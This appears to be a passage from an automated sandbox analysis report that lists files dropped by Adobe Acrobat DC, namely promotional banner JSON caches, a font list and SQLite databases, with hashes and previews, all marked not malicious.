SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.353170030492941
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH0THWp2O9VoZcg1vRcR0YIXJqoAvJM3g98kUwPeUkwRe9:YvXKXULs2OEZc0v1JZGMbLUkee9
MD5:	245429C5D47A4C544B003F9230ED1F95
SHA1:	EDA0FDC87CF1406BE59B17CF03778DAB72EABB8E
SHA-256:	4607764BB6046AABB415F5A68A8476880E6D5548B712EC35F8DFFE1E17BBE028
SHA-512:	C048A1A52F0A5607ED63DB95B22834215D03A77C91C17892D082752FE8A12679D6C20BDC02CA7FBA92F733298D22F41F70060B0661A8FEDD9FEF63F690A71229
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bd9622b-26ea-46b7-ac61-292636b27d04","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736698546762,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.305808825919142
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH0THWp2O9VoZcg1vRcR0YIXJqoAvJfBoTfXpnrPeUkwRe9:YvXKXULs2OEZc0v1JZGWTfXcUkee9
MD5:	BC5B7F39117E0050CEFBBA21F158431D
SHA1:	B5C796C67C080A068D324BD635FA4D84CE8241F8
SHA-256:	0C949AF4DA441CAE23D2BEB39A09886B6D84513B30E1ABDCF3D6C3FB404FF4C9
SHA-512:	9530904CAD9F60603F532E8C037BE8013B27B886E3B2BC0DAB98F240BC2F27FEF8EF38F2C325B7B204CFE1B1FBC4D1B7B3C6005E48555B59D475D4C367FB54DF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bd9622b-26ea-46b7-ac61-292636b27d04","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736698546762,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.284515040146021
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH0THWp2O9VoZcg1vRcR0YIXJqoAvJfBD2G6UpnrPeUkwRe9:YvXKXULs2OEZc0v1JZGR22cUkee9
MD5:	F5708C6BBDAD8ADEEC8ACB7F51A114A0
SHA1:	552B225DEF5696F4C01FEEA3CDD034B730E6E053
SHA-256:	5AB36E361E7C61B33533E473A3E62850CF0820E9158F87ED6054BAB33EC07D3B
SHA-512:	08C78FC2C7FB7A9E80F28290C749B0746C29A2661F35BE15817D37BEEC1644F923E99516507B109330623E5F5C63C14F1613621C0481E4143B4783119D7D3072
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bd9622b-26ea-46b7-ac61-292636b27d04","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736698546762,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.339822875080232
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH0THWp2O9VoZcg1vRcR0YIXJqoAvJfPmwrPeUkwRe9:YvXKXULs2OEZc0v1JZGH56Ukee9
MD5:	9D53F91E67A8A68A3AFC752D6B04150D
SHA1:	BA448F9123CF2EE7B0888ED3474CD5FE8123A27E
SHA-256:	51CFD366D6874F633BEA5483A3FAC317809E0BCE77FE327C53E60424AD46348A
SHA-512:	63CF3D190D62FB129166FBD2C62A4B67AB0A8B94F48D03DCDD5E8D8FFD6604EBE4F7C2171B12ACB5A8EA0CF5658C0F165616DD509934CC26B85DF2F0BB255316
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bd9622b-26ea-46b7-ac61-292636b27d04","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736698546762,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.684927779379575
Encrypted:	false
SSDEEP:	24:Yv6XUbzvD+pLgE9cQx8LennAvzBvkn0RCmK8czOCCST:Yv9HL+hgy6SAFv5Ah8cv/T
MD5:	7AFF28CDAB23E25DDF68A0B68D0E4D33
SHA1:	BDE102DA1D8DDC834FE4FFBB483C61635A6310F4
SHA-256:	9BB3BECAB451F8E5EF25C17F58137AA0F1DDF39A892525DE86A82C695CA4DA4F
SHA-512:	1F6E8CA6F8672133D32485851CF03E686EED5804208065625C42B8006965520AA68369917D2AF0105796A28961B0B25392D9C3340C3E67ACA27149810043CF55
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bd9622b-26ea-46b7-ac61-292636b27d04","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736698546762,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.287218452170745
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH0THWp2O9VoZcg1vRcR0YIXJqoAvJf8dPeUkwRe9:YvXKXULs2OEZc0v1JZGU8Ukee9
MD5:	BB554BE180CB8E3AE4064EC8AD800D55
SHA1:	390A9F6F02353C7EB349F43B19D7EF319C57A13A
SHA-256:	86552CA5B2911B9FC132DE1E6F32963E26EEFD3AC61F3D0E2C8C7F1CADAF3F20
SHA-512:	597189E1E7D7A275021774E41C20F92F9F289A2D412271487A5F2EA3901F996240EC5C41E3478593269D2B0EE0BB5237ACE42B6966FF414F612853F11DDC2492
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bd9622b-26ea-46b7-ac61-292636b27d04","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736698546762,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.291541204462675
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH0THWp2O9VoZcg1vRcR0YIXJqoAvJfQ1rPeUkwRe9:YvXKXULs2OEZc0v1JZGY16Ukee9
MD5:	18A6648EFA2FDF664148D209E013676C
SHA1:	2A30ABC291134B5A8EAC3781FBA15CAE98759EAC
SHA-256:	EFF26B31FD7769FBF54565FC7E73007B3FA6A9F72956CEDDC30D67B6F4613E70
SHA-512:	3E97DC490A8B0642EB9A701A0927C292384CA51978C940734E155C82D3FE91E06F9AF24F1527A8B0DD3C22E4E970D6B8BF75586AD2691923CCBF70BEAC0A2A9F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bd9622b-26ea-46b7-ac61-292636b27d04","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736698546762,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.296021498441844
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH0THWp2O9VoZcg1vRcR0YIXJqoAvJfFldPeUkwRe9:YvXKXULs2OEZc0v1JZGz8Ukee9
MD5:	2E55814EE99978B21CFFD67086C5A176
SHA1:	ABAFEC50BFE0F8DCE2288672BC5EF8036EA94285
SHA-256:	364A9A50E40FF531AA208A33E0C3D8DBB368E3971EF472AA78B1828F264B4134
SHA-512:	E07AEBB1327D3397D511BA43720415CE4D55D6A7F8717845AAA5FB016869AB2862F945BB50889105FB7DC2F0E25AEBDAFF71F63C485E1E6197A2550D8F3E1AAE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bd9622b-26ea-46b7-ac61-292636b27d04","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736698546762,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.312795532261069
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH0THWp2O9VoZcg1vRcR0YIXJqoAvJfzdPeUkwRe9:YvXKXULs2OEZc0v1JZGb8Ukee9
MD5:	C253686081F187E973C9C0CB07D126E9
SHA1:	0E159486C04DCDAA8A30704C1C7FFA7618C59E8B
SHA-256:	DDB07B9959AF6AD13ED5D061BE57663F9F4A214AE42914971810CF36E82A8F37
SHA-512:	1B133EA2BB3F6C00ECA09970211BB3636A30FDD8FE87FD359D7CB4CAB26C439519C3E560BE5DBAFD6BAC0CE65D38E825A21C3F302069C2C9929E480E52790AE9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bd9622b-26ea-46b7-ac61-292636b27d04","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736698546762,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.293302913332525
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH0THWp2O9VoZcg1vRcR0YIXJqoAvJfYdPeUkwRe9:YvXKXULs2OEZc0v1JZGg8Ukee9
MD5:	68619DDA8CF4645A7B4F5CDBBC37C4CE
SHA1:	D6A6164CD0E9AA38E08841B87F9E666029824678
SHA-256:	236B8A33131BA2DECDB0B949D808FC04B4E60DD0996E355C0FCD2F2B4EA0D6C5
SHA-512:	8C78687CFA988DA55B302D2E3895F9538030781EE5B6DF76EE80F3936FF2604390D7FEFA9E6D0241C2520FE38E84875445EA96E9155A571685426576A1941607
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bd9622b-26ea-46b7-ac61-292636b27d04","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736698546762,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.279235379699985
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH0THWp2O9VoZcg1vRcR0YIXJqoAvJf+dPeUkwRe9:YvXKXULs2OEZc0v1JZG28Ukee9
MD5:	14D9F447F00C438EB58790AAA3BBDA8A
SHA1:	35D633C9394D47E2ADE2A20555701895FA584344
SHA-256:	D87C840A13163112437B5851851588EB16C2B379B79829953C0243B2CE78109A
SHA-512:	5DED2D9206156913CA1205CBB0DB84E08DFA2B5991F4CAD13C9E30019371EE651D25B7960EC07A53431F78678D573E07596C0836E0DAD5AEC86EC95575CC84C2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bd9622b-26ea-46b7-ac61-292636b27d04","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736698546762,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.27689603909345
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH0THWp2O9VoZcg1vRcR0YIXJqoAvJfbPtdPeUkwRe9:YvXKXULs2OEZc0v1JZGDV8Ukee9
MD5:	376C00990DBFB510A8440D3593EA761E
SHA1:	E3AEA1271CA67BE476BC6CB5E6E862BBC093DC4A
SHA-256:	EC739BF4DAC658F93BC4124001FD6170B61CE23BD935D97E8F3CBC50B1361282
SHA-512:	5EDB25F6268F20147BE862DA8B06CFD30FC0640419DFFB663F4A8479E700453A4201CC6C1DB277C09BF7E83151CBD736DB0F2B21E36E3B1BCF5708FF6EFAD2AB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bd9622b-26ea-46b7-ac61-292636b27d04","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736698546762,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.281454794049112
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH0THWp2O9VoZcg1vRcR0YIXJqoAvJf21rPeUkwRe9:YvXKXULs2OEZc0v1JZG+16Ukee9
MD5:	1816633A01F7D24412B72E9FEFBE056E
SHA1:	98DB1C8D5AF5B793985560162AA75296939BC699
SHA-256:	620C272A44298C2CDAF87AD41E6734CAE1E575932DDF7A4C690038B9636CEA18
SHA-512:	1A0E32E70DEC5B34DD51BD7A22EA7CE30EEF67E14880A072D837B89BE60DE92E6623D857D5A0807149CC0ABF70DAA1EB702B02BF088A523A310507A35E5E8AF5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bd9622b-26ea-46b7-ac61-292636b27d04","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736698546762,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.657693349049909
Encrypted:	false
SSDEEP:	24:Yv6XUbzvDiamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BST:Yv9HL8BgkDMUJUAh8cvMT
MD5:	C4C9FF82AE6CC8BE82C5177A3B87463E
SHA1:	81A4EBDE9F6E8C9432DB2F93FD102DD9A633733F
SHA-256:	9F3915E998FE52ECDEF461E6500989E9E25A54F3C37E8282DFBF365000A7C789
SHA-512:	DFC06DDDD28A5C8AB8ECB5B7C8C567EDB46374DDDAAC5FE75C78981B9CEA9B7917BFF721EBD7BBDF260BE6C87A81D6CC49A1F8A9F77DBDAA00663D0BEA73F861
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bd9622b-26ea-46b7-ac61-292636b27d04","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736698546762,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.256775660380299
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH0THWp2O9VoZcg1vRcR0YIXJqoAvJfshHHrPeUkwRe9:YvXKXULs2OEZc0v1JZGUUUkee9
MD5:	5323B84E50EAF0BE58ED63CCAE6A9002
SHA1:	E87128CE7C2A5B4B4F99CFF615CA0067A34A8201
SHA-256:	61CABEC8E2FE0232F688AF7F9B1851C0D3AC72396EA427CBEE55D14E2C8090B8
SHA-512:	22667CD080722A907513E2B0D6CFAB5929DDA29F6F0021B1864E4DB489AF722A787E3212E8A3234AEBA4DD9B1D5819DBDECB1DB722443C8A3DEF5D4BD2F69B77
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bd9622b-26ea-46b7-ac61-292636b27d04","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736698546762,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.260696159167161
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH0THWp2O9VoZcg1vRcR0YIXJqoAvJTqgFCrPeUkwRe9:YvXKXULs2OEZc0v1JZGTq16Ukee9
MD5:	2D59A8BC6295FFDF5A90E91453C134B1
SHA1:	DE733FE2438061FF50FA0F1023BAD31F5BD84AE7
SHA-256:	AA1DA726079915BDCB1C75659BEC6130D79A73929546B397909CA3B4C27F2538
SHA-512:	B26DFC04E19EBB44A9A2009D70F10C1028AB123214F78761DB532565621335FE6883C13DB60536F4FC2067A9282FF6AF9409323D659CCE0A06EE7F4BB690B9EF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bd9622b-26ea-46b7-ac61-292636b27d04","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736698546762,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.144032657548812
Encrypted:	false
SSDEEP:	24:YuYaAl3ayJdcvKZafz16b6KfErojZj0S4zc2L/2LSiCxNn7eB4A5xZRy9EufOG:YNrCCwfz16bNn+EoNn7XArm91
MD5:	61CDE0BC0D8881E8C0BF5E4DDF889A1A
SHA1:	28CA8EA3D9EFAB2CEB34030A66C1F1673761EF64
SHA-256:	0322A7D0A6EB321DB080115ED0FB3E76A5D7F9C1E5070642FAFB8F5C06F19E75
SHA-512:	829C2D9BF8AD3C7957E4EFD4D72DEF3F8329EB66ABB474B5435A8B0480E468FDEC6445C5AEA1FAFEBF54C286CD2DE5AF0A9541F05155DA0CC4D2C94084F2F99A
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"acbeec5d87279f43c865bf4cc57448fb","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736525596000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"3b843efe4cd0d597146f30e24f365b3e","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736525596000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"ce7cdd23fed9e93233b7358e29209477","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736525596000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"5a7440896f96e18a90f16ea3a404638f","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736525596000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"b911080a1f49e79da016b542501dcb6e","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736525596000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"5980f51c9f2fa8c2b58cbf8ed2107789","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1874871324795686
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUP3SvR9H9vxFGiDIAEkGVvpT3:lNVmswUUUUUUUUP3+FGSItP3
MD5:	C07D72835DF264DF186DDBA7B5B33BED
SHA1:	295B0FFC9E0623393168ECF378DCEAFAB09AFFE9
SHA-256:	7D52BB38371E6FA80ECFD9E3400BC830BDCC8E103D2D3A2C8B2B98BD6E2AD991
SHA-512:	6BC823EDA9BD708CB36D01E314522996D439B3EF8787C133424897633A62787C3460B58C48AB6B107C570A61542466694A90F995B848B480B59598EC312473F5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6078315963963057
Encrypted:	false
SSDEEP:	48:7MJKUUUUUUUUUUPrvR9H9vxFGiDIAEkGVvoqFl2GL7mseK1:7TUUUUUUUUUUPbFGSIt2KVmsf
MD5:	D6C6C95FA7F5C7F1354854847F70033B
SHA1:	AA7A6D75E873BCDCABA3807F0AC118A49BD73C1C
SHA-256:	E3663D3E4459C995C989163C662850CF36BB67C5A32F81C8FE9EE52F821E5E78
SHA-512:	B450A594EA4290CE8A60FE3A0DD0E9E891EA786471751BECE88D2A56B94D820F4364E2EBAAA52DF0EC67ABBF81FA505D1D20098B68C385F1A398B93405F81973
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg/nQzd743U2sps8cZ3AISRoBYyu:6a6TZ44ADE/Qzd743UeSmBK
MD5:	52E123A0600528AA740D7D3111498127
SHA1:	93D78EC50F63E730960551D8DFD5D2D54829CB3F
SHA-256:	6D8A014553BF3C2AC41287EE2E0028A39158CC699426A50ABE4257A6E9926BE9
SHA-512:	B30B55422F58C367B92DAE0DFB71D5D263A81AFB58A26538DB3D25D1B1451F4E3EFDFFDE521B95DF92883D9244658789856C4EA15CFC655B06DD8030D334D270
Malicious:	false
